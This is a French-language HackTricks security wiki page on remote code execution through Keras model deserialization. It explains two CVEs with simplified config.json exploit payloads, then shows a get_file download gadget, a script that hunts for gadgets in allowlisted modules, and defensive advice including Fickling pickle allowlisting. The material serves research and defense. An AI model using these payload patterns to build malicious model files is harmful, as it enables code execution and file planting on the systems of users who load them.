Keras Model Deserialization RCE and Gadget Hunting

Reading time: 10 minutes

tip

Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE) Apprenez et pratiquez le hacking Azure : HackTricks Training Azure Red Team Expert (AzRTE)

Soutenir HackTricks

Cette page résume des techniques d'exploitation pratiques contre le pipeline de désérialisation de modÚles Keras, explique les internals du format natif .keras et sa surface d'attaque, et fournit une boßte à outils pour chercheurs pour trouver Model File Vulnerabilities (MFVs) et post-fix gadgets.

Internes du format de modĂšle .keras

Un fichier .keras est une archive ZIP contenant au minimum :

  • metadata.json – informations gĂ©nĂ©riques (par ex., version de Keras)
  • config.json – architecture du modĂšle (surface d'attaque principale)
  • model.weights.h5 – poids en HDF5

Le config.json pilote une désérialisation récursive : Keras importe des modules, résout les classes/fonctions et reconstruit les layers/objets à partir de dictionnaires contrÎlés par l'attaquant.

Example snippet for a Dense layer object:

json
{
"module": "keras.layers",
"class_name": "Dense",
"config": {
"units": 64,
"activation": {
"module": "keras.activations",
"class_name": "relu"
},
"kernel_initializer": {
"module": "keras.initializers",
"class_name": "GlorotUniform"
}
}
}

La désérialisation effectue:

  • Importation de modules et rĂ©solution de symboles Ă  partir des clĂ©s module/class_name
  • Appel de from_config(...) ou du constructeur avec des kwargs contrĂŽlĂ©s par l'attaquant
  • RĂ©cursion dans les objets imbriquĂ©s (activations, initializers, constraints, etc.)

Historiquement, cela exposait trois primitives Ă  un attaquant forgeant config.json:

  • ContrĂŽle des modules importĂ©s
  • ContrĂŽle des classes/fonctions rĂ©solues
  • ContrĂŽle des kwargs passĂ©s aux constructeurs/from_config

CVE-2024-3660 – Lambda-layer bytecode RCE

Cause racine:

  • Lambda.from_config() utilisait python_utils.func_load(...) qui dĂ©codait en base64 et appelait marshal.loads() sur des octets fournis par l'attaquant; la dĂ©sĂ©rialisation Python peut exĂ©cuter du code.

Idée d'exploit (payload simplifié dans config.json):

json
{
"module": "keras.layers",
"class_name": "Lambda",
"config": {
"name": "exploit_lambda",
"function": {
"function_type": "lambda",
"bytecode_b64": "<attacker_base64_marshal_payload>"
}
}
}

Atténuation :

  • Keras impose safe_mode=True par dĂ©faut. Les fonctions Python sĂ©rialisĂ©es dans Lambda sont bloquĂ©es sauf si un utilisateur choisit explicitement safe_mode=False.

Remarques :

  • Formats legacy (anciennes sauvegardes HDF5) ou bases de code plus anciennes peuvent ne pas appliquer les contrĂŽles modernes, donc des attaques de type “downgrade” peuvent encore s'appliquer lorsque les victimes utilisent d'anciens loaders.

CVE-2025-1550 – Import arbitraire de module dans Keras ≀ 3.8

Cause racine :

  • _retrieve_class_or_fn utilisait importlib.import_module() sans restriction avec des chaĂźnes de module contrĂŽlĂ©es par l'attaquant provenant de config.json.
  • Impact : Import arbitraire de n'importe quel module installĂ© (ou d'un module placĂ© par l'attaquant sur sys.path). Le code s'exĂ©cute Ă  l'import, puis l'objet est construit avec des kwargs fournis par l'attaquant.

Idée d'exploit :

json
{
"module": "maliciouspkg",
"class_name": "Danger",
"config": {"arg": "val"}
}

AmĂ©liorations de sĂ©curitĂ© (Keras ≄ 3.9) :

  • Module allowlist: les imports sont restreints aux modules officiels de l'Ă©cosystĂšme : keras, keras_hub, keras_cv, keras_nlp
  • Safe mode default: safe_mode=True bloque le chargement de fonctions sĂ©rialisĂ©es Lambda non sĂ©curisĂ©es
  • Basic type checking: les objets dĂ©sĂ©rialisĂ©s doivent correspondre aux types attendus

Surface de gadgets post-fix dans l'allowlist

MĂȘme avec l'allowlisting et le safe mode, une large surface reste prĂ©sente parmi les callables Keras autorisĂ©s. Par exemple, keras.utils.get_file peut tĂ©lĂ©charger des URLs arbitraires vers des emplacements choisis par l'utilisateur.

Gadget via Lambda qui référence une fonction autorisée (et non du bytecode Python sérialisé) :

json
{
"module": "keras.layers",
"class_name": "Lambda",
"config": {
"name": "dl",
"function": {"module": "keras.utils", "class_name": "get_file"},
"arguments": {
"fname": "artifact.bin",
"origin": "https://example.com/artifact.bin",
"cache_dir": "/tmp/keras-cache"
}
}
}

Important limitation:

  • Lambda.call() prĂ©fixe le tenseur d'entrĂ©e comme premier argument positionnel lors de l'invocation du callable cible. Les gadgets choisis doivent tolĂ©rer un argument positionnel supplĂ©mentaire (ou accepter *args/**kwargs). Cela contraint les fonctions viables.

Potential impacts of allowlisted gadgets:

  • TĂ©lĂ©chargement/Ă©criture arbitraire (path planting, config poisoning)
  • Callbacks rĂ©seau/effets de type SSRF selon l'environnement
  • ChaĂźnage vers l'exĂ©cution de code si les chemins Ă©crits sont ensuite importĂ©s/exĂ©cutĂ©s ou ajoutĂ©s Ă  PYTHONPATH, ou si un emplacement exĂ©cutable-Ă -l'Ă©criture existe

Researcher toolkit

  1. Systematic gadget discovery in allowed modules

ÉnumĂ©rer les callables candidats dans keras, keras_nlp, keras_cv, keras_hub et prioriser ceux ayant des effets secondaires sur les fichiers/le rĂ©seau/les processus/l'environnement.

python
import importlib, inspect, pkgutil

ALLOWLIST = ["keras", "keras_nlp", "keras_cv", "keras_hub"]

seen = set()

def iter_modules(mod):
if not hasattr(mod, "__path__"):
return
for m in pkgutil.walk_packages(mod.__path__, mod.__name__ + "."):
yield m.name

candidates = []
for root in ALLOWLIST:
try:
r = importlib.import_module(root)
except Exception:
continue
for name in iter_modules(r):
if name in seen:
continue
seen.add(name)
try:
m = importlib.import_module(name)
except Exception:
continue
for n, obj in inspect.getmembers(m):
if inspect.isfunction(obj) or inspect.isclass(obj):
sig = None
try:
sig = str(inspect.signature(obj))
except Exception:
pass
doc = (inspect.getdoc(obj) or "").lower()
text = f"{name}.{n} {sig} :: {doc}"
# Heuristics: look for I/O or network-ish hints
if any(x in doc for x in ["download", "file", "path", "open", "url", "http", "socket", "env", "process", "spawn", "exec"]):
candidates.append(text)

print("\n".join(sorted(candidates)[:200]))
  1. Tests de désérialisation directs (aucune archive .keras nécessaire)

Injectez des dicts spécialement conçus directement dans les désérialiseurs Keras pour découvrir les paramÚtres acceptés et observer les effets secondaires.

python
from keras import layers

cfg = {
"module": "keras.layers",
"class_name": "Lambda",
"config": {
"name": "probe",
"function": {"module": "keras.utils", "class_name": "get_file"},
"arguments": {"fname": "x", "origin": "https://example.com/x"}
}
}

layer = layers.deserialize(cfg, safe_mode=True)  # Observe behavior
  1. Tests inter-versions et formats

Keras existe dans plusieurs bases de code/époques avec des garde-fous et formats différents :

  • TensorFlow built-in Keras: tensorflow/python/keras (legacy, prĂ©vu pour suppression)
  • tf-keras: maintenu sĂ©parĂ©ment
  • Multi-backend Keras 3 (official): a introduit le format natif .keras

Répétez les tests à travers les bases de code et formats (.keras vs legacy HDF5) pour détecter des régressions ou l'absence de garde-fous.

Recommandations défensives

  • ConsidĂ©rez les fichiers de modĂšle comme des entrĂ©es non fiables. Ne chargez des modĂšles que depuis des sources de confiance.
  • Maintenez Keras Ă  jour ; utilisez Keras ≄ 3.9 pour bĂ©nĂ©ficier de l'allowlisting et des vĂ©rifications de type.
  • Ne rĂ©glez pas safe_mode=False lors du chargement des modĂšles, sauf si vous faites entiĂšrement confiance au fichier.
  • Envisagez d'exĂ©cuter la dĂ©sĂ©rialisation dans un environnement sandboxĂ©, avec les privilĂšges minimaux, sans sortie rĂ©seau et avec un accĂšs au systĂšme de fichiers restreint.
  • Appliquez des allowlists/signatures pour les sources de modĂšles et vĂ©rifiez l'intĂ©gritĂ© lorsque c'est possible.

ML pickle import allowlisting for AI/ML models (Fickling)

De nombreux formats de modÚles AI/ML (PyTorch .pt/.pth/.ckpt, joblib/scikit-learn, anciens artefacts TensorFlow, etc.) embarquent des données Python pickle. Les attaquants abusent réguliÚrement des imports GLOBAL de pickle et des constructeurs d'objets pour obtenir un RCE ou remplacer des modÚles lors du chargement. Les scanners basés sur des listes noires manquent souvent des imports dangereux nouveaux ou non listés.

Une dĂ©fense pratique en mode fail-closed consiste Ă  intercepter le dĂ©sĂ©rialiseur pickle de Python et Ă  n'autoriser qu'un ensemble rĂ©visĂ© d'importations liĂ©es au ML non dangereuses lors de l'unpickling. Trail of Bits’ Fickling implĂ©mente cette politique et fournit une allowlist d'importations ML triĂ©e, construite Ă  partir de milliers de pickles publics Hugging Face.

ModĂšle de sĂ©curitĂ© pour les imports “safe” (intuitions distillĂ©es de la recherche et de la pratique) : les symboles importĂ©s utilisĂ©s par un pickle doivent simultanĂ©ment :

  • Ne pas exĂ©cuter de code ni provoquer d'exĂ©cution (pas d'objets code compilĂ©/source, pas d'exĂ©cution de shell, pas de hooks, etc.)
  • Ne pas lire/Ă©crire des attributs ou Ă©lĂ©ments arbitraires
  • Ne pas importer ni obtenir des rĂ©fĂ©rences Ă  d'autres objets Python depuis la VM pickle
  • Ne pas dĂ©clencher de dĂ©sĂ©rialiseurs secondaires (p.ex., marshal, nested pickle), mĂȘme indirectement

Activez les protections de Fickling le plus tÎt possible au démarrage du processus afin que tous les chargements de pickle effectués par les frameworks (torch.load, joblib.load, etc.) soient contrÎlés :

python
import fickling
# Sets global hooks on the stdlib pickle module
fickling.hook.activate_safe_ml_environment()

Conseils opérationnels :

  • Vous pouvez temporairement dĂ©sactiver/rĂ©activer les hooks lĂ  oĂč c'est nĂ©cessaire :
python
fickling.hook.deactivate_safe_ml_environment()
# ... load fully trusted files only ...
fickling.hook.activate_safe_ml_environment()
  • Si un modĂšle connu et fiable est bloquĂ©, Ă©tendez l'allowlist pour votre environnement aprĂšs avoir examinĂ© les symboles :
python
fickling.hook.activate_safe_ml_environment(also_allow=[
"package.subpackage.safe_symbol",
"another.safe.import",
])
  • Fickling expose Ă©galement des gardes d'exĂ©cution gĂ©nĂ©riques si vous prĂ©fĂ©rez un contrĂŽle plus granulaire :

  • fickling.always_check_safety() pour appliquer des vĂ©rifications pour tous les pickle.load()

  • with fickling.check_safety(): pour une application limitĂ©e dans une portĂ©e

  • fickling.load(path) / fickling.is_likely_safe(path) pour des vĂ©rifications ponctuelles

  • PrĂ©fĂ©rez des formats de modĂšle non-pickle lorsque possible (p.ex., SafeTensors). Si vous devez accepter des pickle, exĂ©cutez les loaders selon le principe du moindre privilĂšge sans sortie rĂ©seau et appliquez l'allowlist.

Cette stratégie allowlist-first bloque de maniÚre démontrable les chemins d'exploitation courants des pickle en ML tout en maintenant une compatibilité élevée. Dans le benchmark de ToB, Fickling a signalé 100% des fichiers malveillants synthétiques et a autorisé ~99% des fichiers propres provenant des principaux repos Hugging Face.

Références

tip

Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE) Apprenez et pratiquez le hacking Azure : HackTricks Training Azure Red Team Expert (AzRTE)

Soutenir HackTricks